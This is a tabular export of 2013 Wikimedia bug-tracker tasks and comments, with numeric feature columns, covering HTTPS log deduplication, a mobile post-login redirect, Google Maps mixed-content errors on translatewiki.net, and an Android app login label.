217365,"HTTPS generates two hits in server log, count only one of those","We have fixed this by no longer sending SSL traffic to the main udp2log stream but instead sending it to its own destination, see https://gerrit.wikimedia.org/r/#/c/55394/

Because this data is no longer in the main udp2log stream there is also no need to deduplicate it.",,,1364223713,,PHID-USER-v7l22dsoqmpmlusn2mhn,False,,,PHID-TASK-46tnguxz23qate2qrdve,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,11.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,9.0,13.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0638297872340425,0.723404255319149,"We have fixed this by no longer sending SSL traffic to the main udp2log stream but instead sending it to its own destination, see URL

Because this data is no longer in the main udp2log stream there is also no need to deduplicate it."
217356,"HTTPS generates two hits in server log, count only one of those",https://mingle.corp.wikimedia.org/projects/analytics/cards/361,,,1363612835,,PHID-USER-m5uwh66djeylkim5chfe,False,,,PHID-TASK-46tnguxz23qate2qrdve,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
47996,Post-login returnto link is Main page for all articles,"Try the following:

1. Browse mobile site (stable or beta) as a logged out user
2. Find any article, tap the left navigation menu and tap log in
3. Enter login credentials. You will be taken to a post login overlay that says ""Return to Main page.""

Now try:

1. Browse mobile site (stable or beta) as a logged out user
2. Tap the left navigation menu and tap the Watchlist link (or the Uploads link if you're in beta)
3. Follow links to log in and enter login creds. You will be taken to a post login overlay that says ""Return to Special:Watchlist"" (or ""Return to Special:DonateImage"")

We should make sure users are able to return to the article they were on before entering the login/signup funnel, not just the special pages. Also, we should make sure the that titles of special pages are consistent with the copy on the mobile web – Special:DonateImage should be Special:Uploads – so users won't be confused.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1363030440,1363651195.0,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,False,PHID-TASK-qbcm3pl3dyiajftdszka,task_description,resolved,True,c2,1,False,False,True,-25,True,0.3333333333333333,0.0,0.0,1.0,1.0,5.666666666666667,1.6666666666666667,0.0,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,2.3333333333333335,8.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,15.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,5.666666666666667,2.6666666666666665,10.0,0.6666666666666666,2.3333333333333335,6.333333333333333,0.0,0.0,0.0,0.0,7.666666666666667,0.0,1.0,0.0,2.3333333333333335,8.0,3.0,0.0,2.0,0.0,2.3333333333333335,0.0,0.6666666666666666,1.3333333333333333,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,3.574869574869575,0.6810966810966811,"Try the following:

1. Browse mobile site (stable or beta) as a logged out user
2. Find any article, tap the left navigation menu and tap log in
3. Enter login credentials. You will be taken to a post login overlay that says ""Return to Main page.""

Now try:

1. Browse mobile site (stable or beta) as a logged out user
2. Tap the left navigation menu and tap the Watchlist link (or the Uploads link if you're in beta)
3. Follow links to log in and enter login creds. You will be taken to a post login overlay that says ""Return to Special:Watchlist"" (or ""Return to Special:DonateImage"")

We should make sure users are able to return to the article they were on before entering the login/signup funnel, not just the special pages. Also, we should make sure the that titles of special pages are consistent with the copy on the mobile web – Special:DonateImage should be Special:Uploads – so users won't be confused.

--------------------------
**Version**: unspecified
**Severity**: normal"
226338,Post-login returnto link is Main page for all articles,and https://gerrit.wikimedia.org/r/53634,,,1363214217,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-qbcm3pl3dyiajftdszka,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,and GERRIT_URL
226333,Post-login returnto link is Main page for all articles,"Several things going on here.
Bug 1:
https://gerrit.wikimedia.org/r/53689

Bug 2:
https://gerrit.wikimedia.org/r/53688",,,1363214170,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-qbcm3pl3dyiajftdszka,task_subcomment,,True,c2,1,False,,,-24,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.3333333333333335,0.7222222222222222,"Several things going on here.
Bug 1:
GERRIT_URL

Bug 2:
GERRIT_URL"
226329,Post-login returnto link is Main page for all articles,"Several things going on here.
Bug 1:
https://gerrit.wikimedia.org/r/53689

Bug 2:
https://gerrit.wikimedia.org/r/53688",,,1363214164,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-qbcm3pl3dyiajftdszka,task_subcomment,,True,c2,1,False,,,-24,True,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.3333333333333335,0.7222222222222222,"Several things going on here.
Bug 1:
GERRIT_URL

Bug 2:
GERRIT_URL"
47697,Google Maps not working with https,"[blocked] The page at https://translatewiki.net/w/i.php?title=User:Amire80&action=formedit&debug=true ran insecure content from http://maps.googleapis.com/maps/api/js?language=fi&sensor=false.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44224",Needs Triage,90.0,1362404100,1370445784.0,PHID-USER-732lqsmz4v6bss3kln2v,False,,False,PHID-TASK-5wgmopzaijiefy3ayail,task_description,resolved,True,c2,1,False,False,True,-26,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.375,0.55,"[blocked] The page at URL ran insecure content from URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
209553,Google Maps not working with https,"(In reply to comment #11)
> Merged three months ago. Is this bug report FIXED or is there more to do?

The URL works correctly, with everything loaded securely from googleapis.com and no errors in dev tools, as of Chromium 25.0. I've not seen problems with our maps in the last weeks/months, so I think this can be closed.",,,1370445784,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,True,,,-12,True,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,5.0,0.0,7.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,12.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,5.0,16.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.7017543859649122,0.8947368421052632,"(In reply to comment #11)
QUOTE

The URL works correctly, with everything loaded securely from googleapis.com and no errors in dev tools, as of Chromium 25.0. I've not seen problems with our maps in the last weeks/months, so I think this can be closed."
209546,Google Maps not working with https,"(In reply to comment #9 by Niklas Laxström)
> https://gerrit.wikimedia.org/r/52220

Merged three months ago. Is this bug report FIXED or is there more to do?",,,1370440432,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,13.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.3225806451612905,0.967741935483871,"(In reply to comment #9 by Niklas Laxström)
QUOTE

Merged three months ago. Is this bug report FIXED or is there more to do?"
209540,Google Maps not working with https,"> Funny that after changing that it now says ""Your browser is not compatible with
> Google Maps v3."" even though I'm using the latest Chrome.

That will happen when the Google Maps API code does not get loaded. Is this the case after your changes? Seems to work fine for me, in both ff and chromium.",,,1362531075,,PHID-USER-mye6umixnhfo7lhpgzmj,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,21.0,3.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,10.0,8.0,3.0,0.0,0.0,5.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,3.5641025641025643,0.9230769230769231,"QUOTE
QUOTE

That will happen when the Google Maps API code does not get loaded. Is this the case after your changes? Seems to work fine for me, in both ff and chromium."
209536,Google Maps not working with https,https://gerrit.wikimedia.org/r/52220,,,1362478487,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
209532,Google Maps not working with https,"Funny that after changing that it now says ""Your browser is not compatible with Google Maps v3."" even though I'm using the latest Chrome.",,,1362478436,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,17.0,14.0,0.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,3.9310344827586206,0.896551724137931,"Funny that after changing that it now says ""Your browser is not compatible with Google Maps v3."" even though I'm using the latest Chrome."
209528,Google Maps not working with https,"Well, by any means go ahead and change it then.",,,1362435845,,PHID-USER-mye6umixnhfo7lhpgzmj,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,"Well, by any means go ahead and change it then."
209524,Google Maps not working with https,"Relevant quip: 
[Relative URIs] They're not not recommended, it just says their usage is rare. Which is a statement that was true in '05, and which we made false in '11. –RoanKattouw",,,1362429880,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,0.0,5.0,11.0,7.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,7.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,14.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,5.0,2.0,0.0,5.0,0.0,9.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,3.4318181818181817,0.8636363636363636,"Relevant quip: 
[Relative URIs] They're not not recommended, it just says their usage is rare. Which is a statement that was true in '05, and which we made false in '11. –RoanKattouw"
209516,Google Maps not working with https,"All major browsers do support them. I'm unable to find definite resources on this, but MediaWiki uses protocol relative urls a lot without any reported issues that I am aware of.",,,1362429703,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,6.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,17.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,11.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,11.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,4.228571428571429,0.9428571428571428,"All major browsers do support them. I'm unable to find definite resources on this, but MediaWiki uses protocol relative urls a lot without any reported issues that I am aware of."
209508,Google Maps not working with https,"Looks like it is in MapsGoogleMaps3::getApiScript.

Do protocol relative URLs work in older browsers?",,,1362429108,,PHID-USER-mye6umixnhfo7lhpgzmj,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,18.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,5.235294117647059,0.9411764705882353,"Looks like it is in MapsGoogleMaps3::getApiScript.

Do protocol relative URLs work in older browsers?"
209500,Google Maps not working with https,Where is the code? Is it enough to just make sure that protocol relative url is saved?,,,1362428945,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,0.0,0.0,0.0,5.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,16.0,11.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,11.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,0.8947368421052632,Where is the code? Is it enough to just make sure that protocol relative url is saved?
209493,Google Maps not working with https,"If you allow saving via both http and https, then the saved content will have the link for the protocol with which it was saved. Known issue, some bug exists for this already.",,,1362425915,,PHID-USER-mye6umixnhfo7lhpgzmj,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,False,,,-26,True,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,3.0,0.0,5.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,3.0,3.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.864864864864865,0.8378378378378378,"If you allow saving via both http and https, then the saved content will have the link for the protocol with which it was saved. Known issue, some bug exists for this already."
209488,Google Maps not working with https,Does this also mean that bug 44224 comment 2 would not help? (Maps have been broken for a couple months now on translatewiki.net.),,,1362404539,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-5wgmopzaijiefy3ayail,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,11.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,1.0,Does this also mean that bug 44224 comment 2 would not help? (Maps have been broken for a couple months now on translatewiki.net.)
47393,"""LOGIN TO UPLOAD MEDIA..."" not centered in Android app","https://commons.wikimedia.org/wiki/File:Wikimedia_Commons_Android_App_Login_Screen.png shows the text 

              LOGIN TO UPLOAD MEDIA TO WIKIMEDIA COMMONS             

centered in one line. However, in a Nexus S with Android 4.1.1 is appears with the text in two lines and aligned to the left. Ugly:


LOGIN TO UPLOAD MEDIA TO WIKIMEDIA 
COMMONS 


Also:

- Why such a long string, which is not even accurate? You have to login for anything.

- Why all in upper case? Seems to be unusual for a Wikimedia UI.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**Platform**: Smartphone",Needs Triage,90.0,1361833020,1361930342.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-ka5vxemyukvf7ektyaln,task_description,resolved,True,c2,1,False,False,True,-27,True,1.0,1.0,0.0,0.0,1.0,4.5,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,1.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.0,0.0,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,18.5,1.5,0.5,4.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,1.0,9.0,7.5,1.5,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.863559322033898,0.6805084745762712,"URL shows the text 

              LOGIN TO UPLOAD MEDIA TO WIKIMEDIA COMMONS             

centered in one line. However, in a Nexus S with Android 4.1.1 is appears with the text in two lines and aligned to the left. Ugly:


LOGIN TO UPLOAD MEDIA TO WIKIMEDIA 
COMMONS 


Also:

- Why such a long string, which is not even accurate? You have to login for anything.

- Why all in upper case? Seems to be unusual for a Wikimedia UI.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**Platform**: Smartphone"
215797,"""LOGIN TO UPLOAD MEDIA..."" not centered in Android app",in 0ecbe5c605ab24e2c274e101d955791334c526f5 actually,,,1361930342,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ka5vxemyukvf7ektyaln,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.666666666666668,1.0,in 0ecbe5c605ab24e2c274e101d955791334c526f5 actually
215796,"""LOGIN TO UPLOAD MEDIA..."" not centered in Android app",Fixed in 28b6c4f0406da98ef98d4a60ba45edfb08b4887a (replaced with app name),,,1361930288,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ka5vxemyukvf7ektyaln,task_subcomment,,True,c2,1,True,,,-26,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.555555555555555,1.0,Fixed in 28b6c4f0406da98ef98d4a60ba45edfb08b4887a (replaced with app name)
